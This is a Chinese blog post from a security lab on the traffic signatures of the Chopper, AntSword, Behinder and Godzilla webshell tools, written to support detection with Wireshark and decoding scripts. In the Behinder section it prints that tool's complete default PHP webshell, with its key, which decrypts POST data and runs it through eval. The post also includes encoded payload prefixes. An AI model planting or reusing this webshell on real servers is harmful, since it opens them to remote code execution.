菜蚁冰哥的流量特征
2023-12-11 17:33:6 Author: 蝰蛇信息安全实验室(查看原文) 阅读量:13 收藏

(魔改的没有,只有普通的webshell特征)

流量分析准备

目标地址

先打开Wireshark,双击进入WLAN

在过滤器输入过滤命令,筛选出192.168.31.64的目标地址和80端口

ip.dst == 192.168.31.64 && tcp.port == 80

这样就对只对192.168.31.64:80端口检测了

开始使用webshell工具分析

WebShell的流量特征从HTTP协议进行分析,因为WebShell是通过HTTP协议进行远程控制的一种方式。在查看WebShell的流量特征时,需要分析HTTP请求响应报文的内容,以及HTTP的字段等信息。

菜刀

base64加密

特征

请求头中

User-Agent存在百度或者火狐

请求体中

会存在QGluaV9zZXQ攻击的开头部分后面的部分需要base64解码

z0(也会修改)跟随后面的payload的base64的数据。z0是菜刀的默认参数

eval也会替换成assert的方式(可能是拼接

"ass"."ert",....

固定的
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J

实践

成功连接shell

url解码->base64解码

拼接的assret

User-Agent中的百度有可能是火狐

另一个版本

查看流量包

存在默认z0变量

User-Agent中的百度

存在z0

eval不是菜刀就是蚁剑,但是后面跟着z0就可以判断为菜刀,并且后面跟着base6的特征

这个是Cknife刀

对原来的z0改变了action其他没有变化

固定的base64菜刀请求

蚁剑

特点

基于Java编写跨平台远控管理工具,模块化开发,代码简单易懂,可扩展性强

使用的AES加密算法进行加密的,同时使用了自定义的二进制协议在通信传输各种类型数据

特征

请求中的User-Agent值是:antSword/*

也有可能是:

Mozilla/5.0 (Windows NT ***) AppleWebKit/*** (KHTML, like Gecko) Chrome/***** Safari/****

请求中可以检测到的关键字:“eval””eVAL

请求体存在@ini_set("display_errors", "0");@set_time_limit(0);(开头可能是菜刀或者是蚁剑)

加密后的明显参数多数是_0x......=这种形式所以_0x开头的参数名,以及dirnameget_current_user函数的字眼(需要讲请求内容解密后判断),后面为加密数据的数据包可以鉴定为蚁剑的流量特征

在命令执行时有目录标记[S][E][R][D]、等,说明已经拿到shell了(在执行系统命令

payload特征

php asserteval关键字执行,

asp eval在jsp使用

Java 同时会带有base64编码解码等字符特征

实践

添加目标,测试链接

这些就是蚁剑对目标的连接测试获取到的流量

对POST这个请求查看http流分析

可以明显看出

解码后可以看到这两处的特征是蚁剑的

新版的ua改了

base64加密

先对url解密一次然后再取这段base64解密

可以看到@ini_set("display_errors", "0");@set_time_limit(0);、dirname、get_current_user、明显字段

使用base64加密的,数据包存在以下base加密的eval命令执行,数据包的请求内容存在这几个分段内容,使用的base加密,解密后可以看到相关的路径,命令
响应包格式为:
随机编码后的结果 随机

char加密

eval的字符会改变大小,

比较明显的大小%40eVAL

解密脚本

import re
encrypted_string = input("输入蚁剑的ChR加密请求体:")
# 使用正则表达式提取每个字符表达式中的十六进制值hex_values = re.findall(r'ChR\((.*?)\)', encrypted_string)
# 将每个十六进制值解密为 ASCII 字符decrypted_chars = [chr(int(hex_value, 16)) for hex_value in hex_values]
# 将解密后的字符拼接成一个字符串decrypted_string = ''.join(decrypted_chars)
print(decrypted_string)# 保存输出内容with open("analyze.txt", "w") as f: f.write(decrypted_string)

开头的cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69)加密解密后是

=@ini

将请求体全部解密后

这个是蚁剑的流量

可以看到@ini_set("display_errors", "0");@set_time_limit(0);、dirname、get_current_user、明显字段

rot13加密开头的eVA大小还是明显

冰蝎

冰蝎使用的AES(对称加密)16位密钥和base64编码

冰蝎流量特征

Accept字段:

请求头中存在Accept: application/json, text/javascript, */*; q=0.01

也有可能Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2  

Content-Type: application/octet-stream ******

q=0.8

userAgent字段

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533+ (KHTML, like Gecko) Element Browser/5.0Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.37 Edge/16.16299Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoMozilla/7.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Xbox)

Cinnection子段:

Connection: Keep-Alive

(冰蝎默认使用的长连接是为了避免频繁的握手造成的资源丢失)

实践

冰蝎自带的马子

<?php@error_reporting(0);session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){  $t="base64_"."decode";  $post=$t($post."");
for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; }}else{ $post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);?>

通过代码可以看到使用了128位的AES密钥进行解密通过eval执行命令

使用冰蝎连接

连接后

Accept: application/json, text/javascript, */*; q=0.01

请求中的Cinnection:Keep-Alive是冰蝎默认使用的长连接特征

userAgent头的Mozilla/5.0...是冰蝎内置的ua请求头

存在的长连接

内置的User-Agent头

AES加密(请求包了就一眼丁真了)

jsp的马子

首先一眼丁真的AES加密 就是冰蝎

然后是请求头中存在Accept: application/json, text/javascript, */*; q=0.01

固定特征

是长连接

AES的加密

Content-Type: application/octet-stream

q=0.8

Accept参数是application/json, text/javascript, */*; q=0.01

哥斯拉

base64加密

流量特征

Cookie的结尾会出现分号

请求中的Accept头是

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8  

相应头中的Cache-Control头是

Cache-Control: no-store, no-cache, must-revalidate

实践

生成php的马子

连接

获取到流量信息

查看HTTP流

url解码

url解码

二次解码后可以看到webshell木马的密码

import base64
text = input("要倒序的内容:")
# 利用切片操作[::-1]逆序输出reverse_text = text[::-1]
print(reverse_text)
decoded_bytes = base64.b64decode(reverse_text)
# 将字节流转换为字符串decoded_text = decoded_bytes.decode()
print(decoded_text)

对括号前面的base64的编码倒序后解码得到

可以看出这是加密的方式,可以通过这段加密代码还原相应数据

dir命令数据包可以明显看到哥斯拉的流量特征

在请求体中出现2次url和base编码特征

%27%253D%25

是哥斯拉2url编码后的==

是哥斯拉倒序的base64的特征(一眼丁真

Cookie的结尾会带有分号(强特征

一眼丁真的分号

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, / ;q=0.8 

如果生成木马没改

pass就是哥斯拉的默认密码

Accept参数是哥斯拉固定的


还是多多感谢交流群的大佬一起分析

公众号回复 -> tools    获取工具

后期会上架更多工具(工具太多了,需要的公众号留言,必

END
扫码关注我们

【VIPER】

湖南农业大学蝰蛇安全实验室

谨记责任,高歌向前

文章来源: http://mp.weixin.qq.com/s?__biz=MzA3NzgyNjUwNA==&mid=2247491058&idx=1&sn=65ac2a8753446ab2d4f439c3cf792228&chksm=9f4d4d55a83ac443046a2063ab79194cb5207e4e6ac5941a926a1029cf9631162d1f5748b489&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh